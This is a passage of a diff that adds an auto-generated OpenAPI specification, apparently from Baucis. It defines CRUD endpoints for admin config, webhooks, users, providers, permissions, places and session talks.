+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_configByQuery",
+                "summary": "Delete some admin-config by query",
+                "description": "Delete all admin-config matching the specified query.",
+                "tags": [
+                    "_config"
+                ]
+            }
+        },
+        "/admin-webhooks/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No _webhooks was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_webhooksById",
+                "summary": "Get a _webhooks by its unique ID",
+                "description": "Retrieve a _webhooks by its ID.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No _webhooks was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _webhooks by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_webhooks"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_webhooks",
+                "summary": "Modify a _webhooks by its unique ID",
+                "description": "Update an existing _webhooks by its ID.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No _webhooks was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_webhooksById",
+                "summary": "Delete a _webhooks by its unique ID",
+                "description": "Deletes an existing _webhooks by its ID.",
+                "tags": [
+                    "_webhooks"
+                ]
+            }
+        },
+        "/admin-webhooks": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_webhooks"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-webhooks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_webhooks",
+                "summary": "Query some admin-webhooks",
+                "description": "Query over admin-webhooks.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-webhooks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_webhooks",
+                "summary": "Create some admin-webhooks",
+                "description": "Create one or more admin-webhooks.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_webhooks"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-webhooks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_webhooksByQuery",
+                "summary": "Delete some admin-webhooks by query",
+                "description": "Delete all admin-webhooks matching the specified query.",
+                "tags": [
+                    "_webhooks"
+                ]
+            }
+        },
+        "/admin-users/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No _users was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_usersById",
+                "summary": "Get a _users by its unique ID",
+                "description": "Retrieve a _users by its ID.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No _users was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _users by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_users"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_users",
+                "summary": "Modify a _users by its unique ID",
+                "description": "Update an existing _users by its ID.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No _users was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_usersById",
+                "summary": "Delete a _users by its unique ID",
+                "description": "Deletes an existing _users by its ID.",
+                "tags": [
+                    "_users"
+                ]
+            }
+        },
+        "/admin-users": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_users"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-users matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_users",
+                "summary": "Query some admin-users",
+                "description": "Query over admin-users.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-users matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_users",
+                "summary": "Create some admin-users",
+                "description": "Create one or more admin-users.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_users"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-users matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_usersByQuery",
+                "summary": "Delete some admin-users by query",
+                "description": "Delete all admin-users matching the specified query.",
+                "tags": [
+                    "_users"
+                ]
+            }
+        },
+        "/admin-providers/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No _providers was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_providersById",
+                "summary": "Get a _providers by its unique ID",
+                "description": "Retrieve a _providers by its ID.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No _providers was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _providers by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_providers"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_providers",
+                "summary": "Modify a _providers by its unique ID",
+                "description": "Update an existing _providers by its ID.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No _providers was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_providersById",
+                "summary": "Delete a _providers by its unique ID",
+                "description": "Deletes an existing _providers by its ID.",
+                "tags": [
+                    "_providers"
+                ]
+            }
+        },
+        "/admin-providers": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_providers"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-providers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_providers",
+                "summary": "Query some admin-providers",
+                "description": "Query over admin-providers.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-providers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_providers",
+                "summary": "Create some admin-providers",
+                "description": "Create one or more admin-providers.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_providers"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-providers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_providersByQuery",
+                "summary": "Delete some admin-providers by query",
+                "description": "Delete all admin-providers matching the specified query.",
+                "tags": [
+                    "_providers"
+                ]
+            }
+        },
+        "/admin-permissions/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No _permissions was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_permissionsById",
+                "summary": "Get a _permissions by its unique ID",
+                "description": "Retrieve a _permissions by its ID.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No _permissions was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _permissions by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_permissions"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_permissions",
+                "summary": "Modify a _permissions by its unique ID",
+                "description": "Update an existing _permissions by its ID.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No _permissions was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_permissionsById",
+                "summary": "Delete a _permissions by its unique ID",
+                "description": "Deletes an existing _permissions by its ID.",
+                "tags": [
+                    "_permissions"
+                ]
+            }
+        },
+        "/admin-permissions": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_permissions"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-permissions matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_permissions",
+                "summary": "Query some admin-permissions",
+                "description": "Query over admin-permissions.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-permissions matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_permissions",
+                "summary": "Create some admin-permissions",
+                "description": "Create one or more admin-permissions.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_permissions"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-permissions matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_permissionsByQuery",
+                "summary": "Delete some admin-permissions by query",
+                "description": "Delete all admin-permissions matching the specified query.",
+                "tags": [
+                    "_permissions"
+                ]
+            }
+        },
+        "/places/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No place was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getPlaceById",
+                "summary": "Get a place by its unique ID",
+                "description": "Retrieve a place by its ID.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No place was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a place by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/place"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updatePlace",
+                "summary": "Modify a place by its unique ID",
+                "description": "Update an existing place by its ID.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No place was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deletePlaceById",
+                "summary": "Delete a place by its unique ID",
+                "description": "Deletes an existing place by its ID.",
+                "tags": [
+                    "place"
+                ]
+            }
+        },
+        "/places": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Place"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No places matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "queryPlace",
+                "summary": "Query some places",
+                "description": "Query over places.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No places matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createPlace",
+                "summary": "Create some places",
+                "description": "Create one or more places.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Place"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No places matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deletePlaceByQuery",
+                "summary": "Delete some places by query",
+                "description": "Delete all places matching the specified query.",
+                "tags": [
+                    "place"
+                ]
+            }
+        },
+        "/sessionTalks/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalk was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getSessionTalkById",
+                "summary": "Get a sessionTalk by its unique ID",
+                "description": "Retrieve a sessionTalk by its ID.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalk was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a sessionTalk by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/sessionTalk"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updateSessionTalk",
+                "summary": "Modify a sessionTalk by its unique ID",
+                "description": "Update an existing sessionTalk by its ID.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalk was found with that ID.",
+                        "schema": {
